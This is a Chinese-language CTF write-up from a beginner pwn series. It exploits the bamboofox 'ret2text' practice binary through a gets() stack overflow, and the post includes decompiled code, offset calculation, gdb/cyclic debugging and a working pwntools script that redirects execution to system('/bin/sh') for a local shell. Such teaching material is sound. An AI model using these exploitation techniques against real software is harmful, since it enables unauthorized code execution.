从零开始的 Pwn 之旅 - Ret2text

前言

之前我们已经初步介绍了栈溢出和栈对齐,这一节我们将做一个巩固练习

ret2text

ret2text

先进行安全防护检测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ chmod +x ./ret2text              (.venv) master
'./ret2text' 的模式已由 0644 (rw-r--r--) 更改为 0755 (rwxr-xr-x)
~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ pwn checksec ./ret2text        (.venv) master ✱
[*] '/home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2text/bamboofox-ret2text/ret2text'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
    Debuginfo:  Yes

ida pro 逆向

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(s);
  printf("Maybe I will tell you next time !");
  return 0;
}

发现危险函数 gets, 可以进行栈溢出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void secure()
{
  time_t v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf(&unk_8048760, &input);
  if ( input == secretcode )
    system("/bin/sh");
}

发现 secure 函数中有一个随机数生成器,输入正确的数字可以执行 system("/bin/sh"),但是这个函数并没有被调用。

查看 secure 函数的汇编代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
.text:080485FD
.text:080485FD ; =============== S U B R O U T I N E =======================================
.text:080485FD
.text:080485FD ; Attributes: bp-based frame
.text:080485FD
.text:080485FD ; void secure()
.text:080485FD                 public secure
.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD ; __unwind {
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system

我们可以直接栈溢出后劫持地址到

1
2
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system

这样我们就可以跳过输入随机数的代码了

如何计算偏移量呢?

ida pro

根据 gets 的参数 s 在栈中的位置可以计算出偏移量为 0x64 即上图中的 [ebp-64h], 表示当前局部变量距离栈底 0x64 字节 [esp + 1Ch] 表示当前栈顶指针偏移 0x1C 字节

因为我们要覆盖返回地址,而返回地址是在 ebp + 4 处 (32 位程序), 所以偏移为 0x64 + 0x4 = 0x68

1
2
3
4
5
6
7
#!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x64 + 4) + p32(target))
sh.interactive()

执行

1
2
3
4
5
6
7
8
$ python exploit.py            (.venv) master ✱ ◼
[+] Starting local process './ret2text': pid 56704
[*] Switching to interactive mode
[*] Process './ret2text' stopped with exit code 0 (pid 56704)
There is something amazing here, do you know anything?
Maybe I will tell you next time ![*] Got EOF while reading in interactive
$ ls
[*] Got EOF while sending in interactive

但是程序 EOF 了,证明偏移量可能测算错误了

栈对齐问题只发生在 64 位程序中

修改源程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#!/usr/bin/env python
from pwn import *

context.terminal = ["kitty", "@", "launch", "--type=window"]

sh = process('./ret2text')
target = 0x804863a
gdb.attach(sh)
sh.sendline(b'A' * (0x64 + 4) + p32(target))
sh.interactive()

gdb.attach(sh) 可以在程序运行时附加 gdb 调试器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
pwndbg> stack 50
00:0000│ esp 0xff9070e0 —▸ 0xff9070fc ◂— 0x41414141 ('AAAA')
01:0004│-084 0xff9070e4 ◂— 0
02:0008│-080 0xff9070e8 ◂— 1
03:000c│-07c 0xff9070ec ◂— 0
04:0010│-078 0xff9070f0 ◂— 0
05:0014│-074 0xff9070f4 ◂— 1
06:0018│-070 0xff9070f8 —▸ 0xf7f6ea60 ◂— 0
07:001c│ eax 0xff9070fc ◂— 0x41414141 ('AAAA')
... ↓        25 skipped
21:0084│-004 0xff907164 —▸ 0x804863a (secure+61) ◂— mov dword ptr [esp], 0x8048763
22:0088│ ebp 0xff907168 —▸ 0xf7f6db00 ◂— 0
23:008c│+004 0xff90716c —▸ 0xf7cd2575 ◂— add esp, 0x10

返回地址在 ebp + 4 处, 但是我们只覆盖到了 ebp - 0x8 处,所以修正好的偏移量是 0x64 + 0x8 = 0x6c

1
2
3
4
5
6
7
8
9
~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ python exploit.py            (.venv) master  
[+] Starting local process './ret2text': pid 59090
[*] Switching to interactive mode
There is something amazing here, do you know anything?
Maybe I will tell you next time !$ whoami
lhon901
$
[*] Interrupted
[*] Stopped process './ret2text' (pid 59090)

攻击成功

使用 gdb 来获取偏移

使用 ida pro 获取偏移量可能会不正确,我们可以使用动态调试来准确获得偏移量

先使用 pwn cyclic 命令来获取测试用的字符串

1
2
$ pwn cyclic 500               (.venv) master ✱ ◼
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

使用 gdb 开始调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
~/P/c/p/l/u/s/r/bamboofox-ret2text ❯❯❯ gdb ./ret2text               (.venv) master ✱ ◼
GNU gdb (GDB) 16.3
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 188 pwndbg commands and 42 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./ret2text...
------- tip of the day (disable with set show-tips off) -------
Pwndbg context displays where the program branches to thanks to emulating few instructions into the future. You can disable this with set emulate off which may also speed up debugging
pwndbg> r
Starting program: /home/lhon901/Pwn/ctf-challenges/pwn/linux/user-mode/stackoverflow/ret2text/bamboofox-ret2text/ret2text

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
There is something amazing here, do you know anything?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
Maybe I will tell you next time !
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────
 EAX  0
 EBX  0xf7f6ae0c ◂— 0x22bd2c
 ECX  0
 EDX  0
 EDI  0x80486d0 (__libc_csu_init) ◂— push ebp
 ESI  0
 EBP  0x62616163 ('caab')
 ESP  0xffffcc80 ◂— 0x62616165 ('eaab')
 EIP  0x62616164 ('daab')
──────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────
Invalid address 0x62616164










───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ esp 0xffffcc80 ◂— 0x62616165 ('eaab')
01:0004│     0xffffcc84 ◂— 0x62616166 ('faab')
02:0008│     0xffffcc88 ◂— 0x62616167 ('gaab')
03:000c│     0xffffcc8c ◂— 0x62616168 ('haab')
04:0010│     0xffffcc90 ◂— 0x62616169 ('iaab')
05:0014│     0xffffcc94 ◂— 0x6261616a ('jaab')
06:0018│     0xffffcc98 ◂— 0x6261616b ('kaab')
07:001c│     0xffffcc9c ◂— 0x6261616c ('laab')
─────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
0 0x62616164 None
   1 0x62616165 None
   2 0x62616166 None
   3 0x62616167 None
   4 0x62616168 None
   5 0x62616169 None
   6 0x6261616a None
   7 0x6261616b None
───────────────────────────────────────────────────────────────────────────────────────
pwndbg>

可以看到 EIP 0x62616164 ('daab') 指向了我们输入的字符串, EIP 正常情况下应该指向下一条将要被执行的地址

1
2
3
pwndbg> pwn cyclic -l "daab"
112
This command is deprecated in Pwndbg. Please use the GDB's built-in syntax for running shell commands instead: !pwn <args>

112 转化为十六进制是 0x70, 距离返回地址是 0x70 个字节,符合我们之前计算的偏移量 (0x6c + 0x4 = 0x70)